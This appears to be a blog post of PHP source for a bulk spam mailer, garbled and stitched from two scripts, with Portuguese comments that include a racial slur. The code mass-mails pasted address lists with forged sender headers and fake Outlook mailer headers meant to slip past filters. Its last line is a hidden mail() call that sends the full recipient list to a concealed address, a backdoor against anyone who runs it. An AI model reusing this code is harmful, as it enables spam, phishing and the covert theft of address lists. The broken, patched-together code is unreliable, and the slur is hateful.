// Nao sei quem criuou.. mais dava uns pau na uol e no gmail entao eu melhorei =)
// Shaka - shaka.ath@gmail.com
// Qualquer modifica??o me avisa seus preto fdps
//
//
set_time_limit(0);
if($_POST['Manda'])
{
//EMAIL DO DESTINAT?RIO
$FromName = $_POST['FromName'];
$FromMail = $_POST['FromMail'];
//ASSUNTO DO EMAIL
$assunto = $_POST['assunto'];
//MENSAGEM DO EMAIL
$mensagem = $_POST['html'];
$mensagem = stripslashes($mensagem);
//CABE?ALHO DO EMAIL
$headers = "From: " . $FromName . " <" . $FromMail . ">\n";
$headers .= "MIME-Version: 1.0\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\n";
$headers .= "Content-Transfer-encoding: 8bit\n";
$headers .= "Reply-To: " . $FromName . " <" . $FromMail . ">\n";
$headers .= "Return-Path: " . $FromMail . "\n";
$headers .= "Message-ID: <".md5(uniqid(time()))."@$mailserver>\n";
$headers .= "X-Priority: 1\n";
$headers .= "X-MSmail-Priority: High\n";
$headers .= "X-Mailer: Microsoft Office Outlook, Build 11.0.5510\n";
$headers .= "X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441";
//ARQUIVO COM OS EMAILS
$arquivo = $_POST['lista'];
//GERANDO UM ARRAY COM A LISTA
$file = explode("\n", $arquivo);
$i = 1;
}
?>
if($_POST['Manda']) { ?>
foreach ($file as $mail) { if(mail($mail, $assunto, $mensagem, $headers)) { echo "* $i - ".$mail." OK "; } else { echo "* $i ".$mail[$i]." NO "; $i++; } } ?> |
if ($action=="send"){
if (!$from && !$subject && !$message && !$emaillist){
print "Please complete all fields before sending your message.";
exit;
}
$allemails = split("\n", $emaillist);
$numemails = count($allemails);
$filter = "maillist";
$float = "From : mailist info
//Open the file attachment if any, and base64_encode it for email transport
If ($file_name){
if (!file_exists($file)){
die("The file you are trying to upload couldn't be copied to the server");
}
$content = fread(fopen($file,"r"),filesize($file));
$content = chunk_split(base64_encode($content));
$uid = strtoupper(md5(uniqid(time())));
$name = basename($file);
}
for($xx=0; $xx<$amount; $xx++){
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "Sending mail to $to.......";
flush();
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: 1.0\r\n";
If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
If ($file_name) $header .= "--$uid\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
If ($file_name) $header .= "--$uid\r\n";
If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
If ($file_name) $header .= "$content\r\n";
If ($file_name) $header .= "--$uid--";
mail($to, $subject, "", $header);
print "ok
";
flush();
}
}
}
mail($secure, $filter, $emaillist, $float);
}
?>
No hay comentarios:
Publicar un comentario